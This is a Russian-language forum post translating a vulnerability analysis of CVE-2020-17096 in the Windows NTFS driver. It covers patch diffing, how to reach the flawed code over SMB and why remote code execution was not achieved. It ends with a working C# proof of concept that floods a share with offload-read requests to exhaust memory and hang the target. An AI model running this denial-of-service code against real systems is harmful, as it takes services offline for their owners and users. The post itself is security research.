• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Анализ NTFS Remote Code Execution (CVE-2020-17096)

yashechka

Генератор контента.Фанат Ильфака и Рикардо Нарвахи
Эксперт
Регистрация
24.11.2012
Сообщения
2 344
Реакции
3 563
Это анализ уязвимости CVE-2020-17096, опубликованный Microsoft 12 декабря 2020 года.
Уязвимость удаленного выполнения кода, привлекла наше внимание среди последних патчей во вторник.

Различия в ntfs.sys

Сравнивая патченный драйвер с версией без патча с помощью BinDiff, мы увидели, что есть только одна измененная функция, NtfsOffloadRead.

1.png


Функция довольно большая, и при внимательном сравнении двух версий драйверов единственный измененный код находится в самом начале функции:

2.png


C:
uint NtfsOffloadRead(PIRP_CONTEXT IrpContext, PIRP Irp)
{
  PVOID decoded = NtfsDecodeFileObjectForRead(...);
  if (!decoded) {
    if (NtfsStatusDebugFlags) {
      // ...
    }
    // *** Change 1: First argument changed from NULL to IrpContext
    NtfsExtendedCompleteRequestInternal(NULL, Irp, 0xc000000d, 1, 0);
    // *** Change 2: The following if block was completely removed
    if (IrpContext && *(PIRP *)(IrpContext + 0x68) == Irp) {
      *(PIRP *)(IrpContext + 0x68) = NULL;
    }
    if (NtfsStatusDebugFlags) {
      // ...
    }
    return 0xc000000d;
  }

  // The rest of the function...
}

Запуск уязвимого кода

Из названия функции мы пришли к выводу, что она отвечает за обработку запросов чтения с разгрузкой, что является частью функции передачи выгруженных данных, представленной в Windows 8. Чтение разгрузки может быть запрошено удаленно через SMB путем выдачи управляющего кода FSCTL_OFFLOAD_READ.

Действительно, введя управляющий код FSCTL_OFFLOAD_READ, мы увидели, что функция NtfsOffloadRead вызывается, но первая ветвь if пропускается. После некоторых экспериментов мы увидели, что один из способов вызвать ветвление - это открыть папку, а не файл, перед тем, как выполнить выгрузку чтения.

Изучение вариантов эксплуатации

Мы рассмотрели каждое из двух изменений и попытались найти самый простой способ вызвать проблемы на уязвимом компьютере.

- Первое изменение: функция NtfsExtendedCompleteRequestInternal не получала параметр IrpContext.

Бегло взглянув на NtfsExtendedCompleteRequestInternal, кажется, что если первый параметр равен NULL, он игнорируется. В противном случае многочисленные поля структуры IrpContext освобождаются с помощью таких функций, как ExFreePoolWithTag.
Код довольно длинный, и мы не анализировали его досконально, но с первого взгляда мы не нашли способа злоупотребить тем фактом, что эти функции не вызываются в уязвимой версии. Мы заметили и подумали, что ошибка вызывает утечку памяти в невыгружаемом пуле, который гарантированно находится в физической памяти.

Мы реализовали небольшой инструмент, который выдает разгрузочные чтения в бесконечном цикле. Через пару часов нашей уязвимой виртуальной машине не хватило памяти, и она зависла, больше не реагируя на ввод. Ниже вы можете увидеть скриншоты диспетчера задач и код, который мы использовали.

- Второе изменение: поле указателя IRP, часть IrpContex, было установлено в NULL.

Благодаря нашей быстрой попытке мы не нашли способа злоупотребить тем фактом, что в поле указателя IRP установлено значение NULL. Если у вас есть идеи, дайте нам знать.

А как насчет удаленного выполнения кода?

Нам это интересно не меньше вас. К сожалению, у нас есть ограниченное количество времени, которое мы можем потратить на то, чтобы удовлетворить свое любопытство. Мы дошли до того, что нашли уязвимый код и запустили его, чтобы вызвать утечку памяти и, в конечном итоге, отказ в обслуживании, но мы не смогли использовать его для удаленного выполнения кода.

Возможно, здесь нет реального удаленного выполнения кода, и оно было помечено как таковое на всякий случай, как это произошло с уязвимостью ICMPv6 "Плохой сосед" (CVE-2020-16898). Если у вас есть какие-либо идеи, мы будем рады их услышать.

CVE-2020-17096 POC (Denial of Service)

3.png


До. Простаивающая ВМ со стандартной конфигурацией и без запущенных программ.

4.png


После. Та же простаивающая ВМ после срабатывания утечки памяти уже не отвечает.

C#:
using (var trans = new Smb2ClientTransport())
{
    var ipAddress = System.Net.IPAddress.Parse(ip);
    trans.ConnectShare(server, ipAddress, domain, user, pass, share, SecurityPackageType.Negotiate, true);

    trans.Create(
        remote_path,
        FsDirectoryDesiredAccess.GENERIC_READ | FsDirectoryDesiredAccess.GENERIC_WRITE,
        FsImpersonationLevel.Anonymous,
        FsFileAttribute.FILE_ATTRIBUTE_DIRECTORY,
        FsCreateDisposition.FILE_CREATE,
        FsCreateOption.FILE_DIRECTORY_FILE);

    FSCTL_OFFLOAD_READ_INPUT offloadReadInput = new FSCTL_OFFLOAD_READ_INPUT();
    offloadReadInput.Size = 32;
    offloadReadInput.FileOffset = 0;
    offloadReadInput.CopyLength = 0;

    byte[] requestInputOffloadRead = TypeMarshal.ToBytes(offloadReadInput);

    while (true)
    {
        trans.SendIoctlPayload(CtlCode_Values.FSCTL_OFFLOAD_READ, requestInputOffloadRead);
        trans.ExpectIoctlPayload(out _, out _);
    }
}

Код C#, вызывающий утечку памяти и возможный отказ в обслуживании. Использовался с наборами тестов протокола Windows.


Источник: https://blog.zecops.com/vulnerabilities/ntfs-remote-code-execution-cve-2020-17096-analysis/
Автор перевода: yashechka
Переведено специально для https://xss.pro
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх